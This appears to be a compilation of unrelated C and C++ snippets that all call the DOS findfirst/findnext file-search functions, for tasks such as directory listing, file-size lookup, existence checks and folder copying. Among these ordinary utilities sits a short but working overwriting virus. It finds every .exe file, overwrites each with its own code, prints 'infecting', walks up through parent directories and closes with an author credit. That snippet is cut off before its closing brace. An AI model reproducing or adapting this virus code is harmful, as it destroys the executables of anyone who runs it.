int main() { srand((unsigned) time(NULL)); buf = initBuf(BUFSIZE, BLKSIZE); initData(); //输出R的内容 //printData(R_START); //输出S的内容 //printData(S_START); //找到R.A = 40 int addr_find_R_A = findfirst(R_START, 40); printData(addr_find_R_A); //找到S.C = 60 int addr_find_S_C = findfirst(S_START, 60); printData(addr_find_S_C); //R.A投影 int projection_R_A = projection(R_START); printData(projection_R_A); printf("NUM = %d\n", BLKNUM); //R.A连接S.C int r_join_s = join(R_START, S_START); //printData(r_join_s); //printf("%d\n", BLKNUM); return 0; }
int GetDir(char *Wild) { struct ffblk fblock; int letzter; /* int k; */ Dateien=0; Datai=Da; strcpy(WildCard,Wild); letzter=findfirst("*.*",&fblock,16); while (!letzter || Dateien>=500) { if (fblock.ff_attrib==16) { if (fblock.ff_name[0]==46 && strlen(fblock.ff_name)==1) { ; } else { strcpy(Datai->FileName,fblock.ff_name); Datai->Date=0; Dateien++; Datai++; } } letzter=findnext(&fblock); } letzter=findfirst(Wild,&fblock,0); while (!letzter || Dateien>=500) { strcpy(Datai->FileName,fblock.ff_name); Datai->Date=(long)fblock.ff_fdate*100000; Datai->Date+=(long)fblock.ff_ftime; Dateien++; Datai++; letzter=findnext(&fblock); } Datai=Da; CWeg(); if (Dateien==0) return -1; qsort(Datai,Dateien,sizeof(Datdings),SortIt); ListFiles(); return 0; }
/* Warning: no final '\' and no root directories */ bool IsADirectory(char Filename[]) { struct REGPACK r; lfn_find_results FindResults; errno = 0; r.r_ax = 0x714E; /* Find first matching file */ r.r_cx = FA_DIREC | FA_RDONLY; r.r_si = 1; /* MS-DOS style time */ r.r_ds = FP_SEG(Filename); r.r_dx = FP_OFF(Filename); r.r_es = FP_SEG(&FindResults); r.r_di = FP_OFF(&FindResults); r.r_flags = CARRY; /* Set carry to prepare for failure */ intr(DOS, &r); if ((r.r_flags & CARRY) == 0) /* No carry -> Ok */ { r.r_bx = r.r_ax; /* Handle */ r.r_ax = 0x71A1; /* Terminate directory search */ intr(DOS, &r); if ((r.r_flags & CARRY) != 0) errno = r.r_ax; /* DOS error code */ return ((FindResults.Attributes & FA_DIREC) != 0); } if (r.r_ax == LFN_NOT_SUPPORTED) /* Function not supported */ { struct ffblk SearchRec; /* Use the standard functions */ errno = findfirst(Filename, &SearchRec, FA_DIREC | FA_RDONLY); if (errno == 0) return ((SearchRec.ff_attrib & FA_DIREC) != 0); } /* A true error */ errno = r.r_ax; /* DOS error code */ return FALSE; }
int do_for_each_directory(char *name, int (*call_back)(char *, int), int param) { char buf[256]; struct ffblk dta; errno = 0; findfirst(name, &dta, FA_DIREC); if (errno!=0) return errno; do { if ((dta.ff_attrib & FA_DIREC) && (strcmp(dta.ff_name, ".") != 0)) { strcpy(buf,name); strcpy(get_fname(buf),dta.ff_name); strcat(buf,"\\"); (*call_back)(buf,param); if (errno!=0) break; } } while (findnext(&dta)==0); errno=0; return errno; }
int do_for_each_file(char *name, int (*call_back)(char *, int), int param) { char buf[256]; int c; struct ffblk dta; errno = 0; findfirst(name, &dta, FA_RDONLY | FA_ARCH); if (errno!=0) { for (c=0; name[c]; c++) if ((name[c]=='*') || (name[c]=='?')) goto dont_load; errno=0; (*call_back)(name,param); dont_load: return errno; } do { strcpy(buf,name); strcpy(get_fname(buf),dta.ff_name); (*call_back)(buf,param); if (errno!=0) break; } while (findnext(&dta)==0); errno=0; return errno; }
int tjDirPick( char filename[13], char *mask, tjPickOpts Opts ) // Pick a directory entry. Conveeeenient. { ffblk ffblk; int done; Opts.PickMe = mkFlist( (size_t) 13, 0 ); Opts.width = 12; Opts.topline = Opts.current = 1; Opts.dispfun = &strdispfun; done = findfirst( mask, &ffblk, 0); while (!done) { iquedptr( Opts.PickMe, &ffblk.ff_name ); done = findnext(&ffblk); } if( done = tjPick( Opts ) ) { rcld( Opts.PickMe, filename, done ); rmFlist( &Opts.PickMe ); return( 1 ); } else { strcpy( filename, "" ); rmFlist( &Opts.PickMe ); return( 0 ); } }
BOOL MYRTLEXP GetFileAttr( CONSTSTR fname,ATTR_TYPE& at ) { #if defined(__GNUC__) || defined(__QNX__) struct stat s; if ( !FIO_STAT(fname,&s) ) return FALSE; at = s.st_mode; return TRUE; #else #if defined(__REALDOS__) || defined(__HWIN16__) struct ffblk f; if ( findfirst( fname,&f,-1 ) != 0 ) return FALSE; at = f.ff_attrib; return TRUE; #else #if defined(__PROTDOS__) struct find_t f; if ( _dos_findfirst( fname,-1,&f ) != 0 ) return FALSE; at = f.attrib; return TRUE; #else #if defined(__HWIN32__) at = GetFileAttributes( fname ); if ( at == MAX_DWORD ) return FALSE; return TRUE; #else #error ERR_PLATFORM #endif #endif #endif #endif }
int mkDir(int dr, char *path, int chkOnly) /* dr: 0 == A: ... path: to make chkOnly: don't make it, just test, if path exist */ { struct ffblk ff; char *p, *h; int c; if(!*path) return 1; if((h = (char*)malloc((c = strlen(path) + 1) + 2)) == NULL) fatal(E_noMem); *h = dr + 'A'; h[1] = ':'; memcpy(p = h + 2, path, c); criticErr = 0; if(!chkOnly) { do { while(*++p && *p != '\\' && *p != '/'); c = *p; *p = '\0'; mkdir(h); *p = c; } while(*p); /* strip trailing '\\' */ if(p[-1] == '\\' || p[-1] == '/') p[-1] = 0; } c = findfirst(h, &ff, FA_DIREC) == 0; free(h); return c && (ff.ff_attrib & FA_DIREC) && !criticErr; }
int os_file_exists(const char *name) { #if _WIN32 DWORD dw; int result; dw = GetFileAttributes(name); if (dw == -1L) result = 0; else if (dw & FILE_ATTRIBUTE_DIRECTORY) result = 2; else result = 1; return result; #elif DOS386 struct FIND *find; find = findfirst(name,FA_DIREC | FA_SYSTEM | FA_HIDDEN); if (!find) return 0; return (find->attribute & FA_DIREC) ? 2 : 1; #elif linux || __APPLE__ || __FreeBSD__ || __sun&&__SVR4 struct stat buf; return stat(name,&buf) == 0; /* file exists if stat succeeded */ #else return filesize(name) != -1L; #endif }
void main(int argc, char **argv) { static char base1[64]; static char base2[64]; static char full[128]; ffblk ff; if (argc < 2) { printf("ra4c <file> ...\n"); return; } while (argc > 1) { fnsplit(argv[1], base2, base1, NULL, NULL); strcat(base2, base1); if (findfirst(argv[1], &ff, FA_RDONLY | FA_ARCH | FA_HIDDEN) != 0) { printf("no file find. \n"); return; } do { strcpy(full, base2); strcat(full, ff.ff_name); printf("--> %s \n", full); replace(full, base2); } while (findnext(&ff) == 0); argc--; argv++; } return; }
int gg() { findfirst("*.*",&f,0x3f); gprintf("%s",f.ff_name); moveto(wi[status.active_window].x1+5,gety()+10); return(0); }
static boolean createTagsForWildcardUsingFindfirst (const char *const pattern) { boolean resize = FALSE; const size_t dirLength = baseFilename (pattern) - pattern; #if defined (HAVE_FINDFIRST) struct ffblk fileInfo; int result = findfirst (pattern, &fileInfo, FA_DIREC); while (result == 0) { const char *const entry = (const char *) fileInfo.ff_name; resize |= createTagsForWildcardEntry (pattern, dirLength, entry); result = findnext (&fileInfo); } #elif defined (HAVE__FINDFIRST) struct _finddata_t fileInfo; findfirst_t hFile = _findfirst (pattern, &fileInfo); if (hFile != -1L) { do { const char *const entry = (const char *) fileInfo.name; resize |= createTagsForWildcardEntry (pattern, dirLength, entry); } while (_findnext (hFile, &fileInfo) == 0); _findclose (hFile); } #endif return resize; }
int LFNFirstFile(char* wildcard, char* file, char* longfile) { int retVal; if (IsLFNSupported(wildcard)) { lfnSupported = 1; retVal = findfirst95(wildcard, &ff95, 0); if (retVal == 0) { strcpy(file, ff95.ff_95.ff_shortname); strcpy(longfile, ff95.ff_95.ff_longname); } return retVal; } else { lfnSupported = 0; retVal = findfirst(wildcard, &ff, 0); if (retVal == 0) { strcpy(file, ff.ff_name); strcpy(longfile, ff.ff_name); } return retVal; } }
void find_bbs(char *directory, struct bbs_board_info bbs_info[], int *num_bbs, int limit) { char wildcard[25]; struct ffblk look_up; int isfile; *num_bbs=0; sprintf(wildcard,"%s\\m*.*",directory); lock_dos(); isfile=findfirst(wildcard,&look_up,FA_NORMAL); while ((!isfile) && (*num_bbs<limit)) { strcpy(bbs_info[*num_bbs].filename,look_up.ff_name); bbs_info[*num_bbs].filedate=(unsigned long int) ((((unsigned long int)look_up.ff_fdate) << 16) | ((unsigned long int)look_up.ff_ftime)); (*num_bbs)++; unlock_dos(); next_task(); lock_dos(); isfile = findnext(&look_up); }; unlock_dos(); qsort((void *)bbs_info, *num_bbs, sizeof(struct bbs_board_info), compare_dates); };
void FileBox::okCmd( HWND hDlg ) { GetDlgItemText( hDlg, IDD_FNAME, path, 80 ); // get the specified path. int len = strlen( path ); char lastChar = path[ len - 1 ]; if( lastChar == '\\' || lastChar == ':' ) strcat( path, iSpec ); // if the path ends in '\' or ':' it's not // a full spec, so append the default spec. if( strpbrk( path, "*?" ) != 0 ) { // if the path contains a wildcard, resetDlg( hDlg ); // reset the dialog and continue. return; } if( mustExist == TRUE ) // if we require the file to exist, check it. { ffblk fileInfo; if( findfirst( path, &fileInfo, 0 ) ) { MessageBeep(0); // file doesn't exist. return; } } EndDialog( hDlg, TRUE ); // we're done! }
int lang_add(char *base_dir, const char *home_page) { char testpath[257]; if (base_dir[0] != '\0') { if (base_dir[strlen(base_dir)-1] != '\\' && base_dir[strlen(base_dir)-1] != '/') strcat(base_dir, "\\"); } if (getenv ("LANG")) { struct ffblk dummy_ffblk; strcpy (testpath, base_dir); strcat (testpath, getenv("LANG")); if (findfirst(testpath, &dummy_ffblk, FA_DIREC) == 0) { /* found */ strcpy (base_dir, testpath); strcat (base_dir, "\\"); } else strcat (base_dir, "en\\"); } else { strcat (base_dir, "en\\"); } strcpy(testpath, base_dir); strcat(testpath, home_page); return checkForFile(testpath); }
void main(int argc,char *argv[]) { int bytes,i,done; FILE *virus,*host; struct ffblk *f; char buffer[512]; do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//open the virus in read mode host=fopen(f->ff_name,"rb+");//open the host file in r/w mode for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//points to begining of virus printf("infecting %s ",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("For any query contact Tapan Kumar Mishra,id:[email protected]");
// Returns the length of a closed file, or 0 if invalid filename. long getFileLength(char* filespec) { struct ffblk f; if(findfirst(filespec,&f,0)==NULL) return(f.ff_fsize); return(0); }
int Init_repert() { char repert_cours[MAXDIR]; char *ptr_repert_cours=repert_cours; strcpy(ptr_repert_cours,ptr_chemin_cours); strcat(repert_cours,"\\*.*"); return(findfirst(ptr_repert_cours,&entree_actuelle,0x10)); }
/*************************************** FileEnum ***************************************/ BOOL MYRTLEXP FILE_ENUM::OpenDir( CONSTSTR path ) { if ( !path ) path = ""; oldDir = GetCurDir(); if ( !SetCurDir(path) ) { SetCurDir( oldDir.Text() ); return FALSE; } Path = GetCurDir(); SetCurDir( oldDir.Text() ); #if defined(__GNUC__) || defined(__QNX__) dir = opendir( Path.Text() ); if ( dir == NULL || (ent=readdir(dir)) == NULL ) return FALSE; FPath = Path; FPath.Add( ent->d_name ); #else #if defined(__REALDOS__) || defined(__HWIN16__) MemSet( &f,0,sizeof(f) ); if ( findfirst( MakePathName(path,ALL_FILES).Text(),&f,FIO_ALLFILES ) != 0 ) return FALSE; FPath = Path+f.ff_name; #else #if defined(__PROTDOS__) MemSet( &f,0,sizeof(f) ); FIND *res; if ( (res=findfirst( MakePathName(path,ALL_FILES).Text(),FIO_ALLFILES )) == NULL ) return FALSE; f = *res; FPath = Path+f.name; #else #if defined(__HWIN__) fHandle = FindFirstFile( MakePathName(path,ALL_FILES).Text(),&f ); if ( fHandle == INVALID_HANDLE_VALUE ) return FALSE; FPath = Path; FPath.Add( f.cFileName ); #else #error ERR_PLATFORM #endif #endif #endif #endif return TRUE; }
int flhFindFirst(const char *directorio, const char *patron, Tffblk *ffblk) { char path[MAXPATH]; strcpy(path,patron); flhPonerDirectorio(path, directorio); return findfirst(path,ffblk,0); }
long FileSize( char *filename ) { struct ffblk fb; if ( -1 == findfirst( filename, &fb, 0xff ) ) return( -1 ); return( fb.ff_fsize ); }
void copyp(char *s,char *ss,char *sss) { int x,k=0; char s1[80],s2[80],s3[80],sp[80],s4[80]; strcpy(s2,s); strcat(s2,sss); strcpy(s1,ss); strcat(s1,sss); x=mkdir(s1); strcpy(s3,s2); strcat(s3,"\\*.*"); struct ffblk full; x=findfirst(s3,&full,0); if (x==0) { strcat(s1,"\\"); strcat(s2,"\\"); struct ffblk full; x=findfirst(s3,&full,0); while (!x) { strcpy(sp,s2); copyf(sp,s1,full.ff_name); x=findnext(&full); } } /*strcpy(s4,s2); strcat(s4,"\\*."); struct ffblk full1; x=findfirst(s4,&full1,0x10); if (x==0) { strcat(s1,"\\"); strcat(s2,"\\"); struct ffblk full1; x=findfirst(s4,&full1,0x10); while (!x) { strcpy(sp,s2); copyp(sp,s1,full1.ff_name); x=findnext(&full1); } } else return; */ }
long filesize(char *file) { if (findfirst(file)) { return ((long)ffd.nFileSizeLow); } else return -1L; }
int findfirst95(char *name, FF_Block95 *ff, int attr) { int err; assert(name); assert(ff); if(find95(name, ff, attr & 0x7f) == 0) return 0; /* OK */ return findfirst(name, ff, attr); }
int main() { char str1[99], str2[99]; int pos; while(scanf("%s %s",str1,str2)!=EOF){ pos = findfirst(str1, str2); printf("%d\n", pos); } return 0; }
static void sources( char *fpath, char *fname ) { int fpath_len = strlen( fpath ); struct ffblk fb; if ( !findfirst( strcat( fpath, fname), &fb, FA_ARCH) ) do { fpath[ fpath_len ] = '\0'; one_source( strcat( fpath, fb.ff_name) ); } while (! findnext(&fb) ); }
Boolean fExists(char *fileName) { struct ffblk ffblk; if (findfirst(fileName,&ffblk,0)) return(False); else return(True); }
long Q_filesize (const char *path) { struct ffblk f; if (findfirst(path, &f, FA_ARCH | FA_RDONLY) != 0) return -1; return (long) f.ff_fsize; }
Boolean isDir( const char *str ) { Boolean result; finddata ff; intptr_t fh = findfirst( str, &ff ); result = Boolean( fh != -1 && (ff.attrib & FA_DIREC) != 0 ); findclose(fh); return result; }